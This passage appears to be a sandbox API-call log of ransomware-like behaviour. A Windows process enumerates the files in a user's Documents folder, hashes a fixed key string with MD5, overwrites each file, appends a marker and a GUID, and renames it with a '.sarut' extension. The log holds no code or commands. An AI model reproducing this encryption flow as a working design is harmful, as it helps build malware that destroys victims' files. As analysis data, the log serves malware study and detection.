lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.581] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.582] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.582] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x7441, lpOverlapped=0x0) returned 1 [0268.582] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.582] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.582] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.582] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.582] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.584] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.584] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.584] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.584] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.584] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.584] GetLastError () returned 0x0 [0268.584] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.584] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.584] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7440) returned 0x311d708 [0268.584] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.584] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x743c, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x743c, lpOverlapped=0x0) returned 1 [0268.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.584] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7441, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.585] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.585] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.585] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.585] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.585] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.585] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.585] CloseHandle (hObject=0x5c4) returned 1 [0268.588] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.588] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.588] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jmoep.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jmoep.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jmoep.pps.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jmoep.pps.sarut")) returned 1 [0268.589] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.589] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.590] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812ac350, ftCreationTime.dwHighDateTime=0x1d4c95a, ftLastAccessTime.dwLowDateTime=0x33cb47d0, ftLastAccessTime.dwHighDateTime=0x1d4c994, ftLastWriteTime.dwLowDateTime=0x33cb47d0, ftLastWriteTime.dwHighDateTime=0x1d4c994, nFileSizeHigh=0x0, nFileSizeLow=0x3eee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lZ7mFKQ3H.pdf", cAlternateFileName="LZ7MFK~1.PDF")) returned 1 [0268.590] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.590] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.590] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lZ7mFKQ3H.pdf") returned=".pdf" [0268.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lZ7mFKQ3H.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lz7mfkq3h.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.591] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=16110) returned 1 [0268.591] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.596] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3ec8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.596] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.598] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.598] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.598] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.598] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x3eee, lpOverlapped=0x0) returned 1 [0268.598] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.598] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.599] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.599] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.599] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.600] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.600] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.600] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.600] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.600] GetLastError () returned 0x0 [0268.600] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.600] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x3ef0) returned 0x311d708 [0268.600] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.600] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x3ee9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x3ee9, lpOverlapped=0x0) returned 1 [0268.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.601] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3eee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.601] CloseHandle (hObject=0x5c4) returned 1 [0268.604] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.604] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.604] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.604] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lZ7mFKQ3H.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lz7mfkq3h.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lZ7mFKQ3H.pdf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lz7mfkq3h.pdf.sarut")) returned 1 [0268.605] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.605] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.606] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mbmFXME9ZArqIFJjiii", cAlternateFileName="MBMFXM~1")) returned 1 [0268.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0268.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.606] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813437e0, ftCreationTime.dwHighDateTime=0x1d4cac8, ftLastAccessTime.dwLowDateTime=0x22eeb320, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0x22eeb320, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0xfb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MiOR3NQChO8s.rtf", cAlternateFileName="MIOR3N~1.RTF")) returned 1 [0268.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.606] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MiOR3NQChO8s.rtf") returned=".rtf" [0268.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MiOR3NQChO8s.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mior3nqcho8s.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.607] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=4020) returned 1 [0268.607] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.609] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.609] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.611] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.611] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xfb4, lpOverlapped=0x0) returned 1 [0268.611] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.611] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.611] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.611] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.612] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.612] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.612] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.612] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.612] GetLastError () returned 0x0 [0268.613] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.613] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfb0) returned 0x311d708 [0268.613] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.613] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xfaf, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xfaf, lpOverlapped=0x0) returned 1 [0268.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.613] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.613] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.614] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.614] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.614] CloseHandle (hObject=0x5c4) returned 1 [0268.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MiOR3NQChO8s.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mior3nqcho8s.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MiOR3NQChO8s.rtf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mior3nqcho8s.rtf.sarut")) returned 1 [0268.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.617] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.618] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46fc52f0, ftCreationTime.dwHighDateTime=0x1d4d14f, ftLastAccessTime.dwLowDateTime=0x1ee32180, ftLastAccessTime.dwHighDateTime=0x1d4cc87, ftLastWriteTime.dwLowDateTime=0x1ee32180, ftLastWriteTime.dwHighDateTime=0x1d4cc87, nFileSizeHigh=0x0, nFileSizeLow=0x4abf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mSBpETwT0_vcERkN.odp", cAlternateFileName="MSBPET~1.ODP")) returned 1 [0268.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mSBpETwT0_vcERkN.odp") returned=".odp" [0268.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mSBpETwT0_vcERkN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msbpetwt0_vcerkn.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.618] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=19135) returned 1 [0268.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.621] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.621] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.623] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.623] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4abf, lpOverlapped=0x0) returned 1 [0268.623] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.624] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.624] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.625] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.625] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, 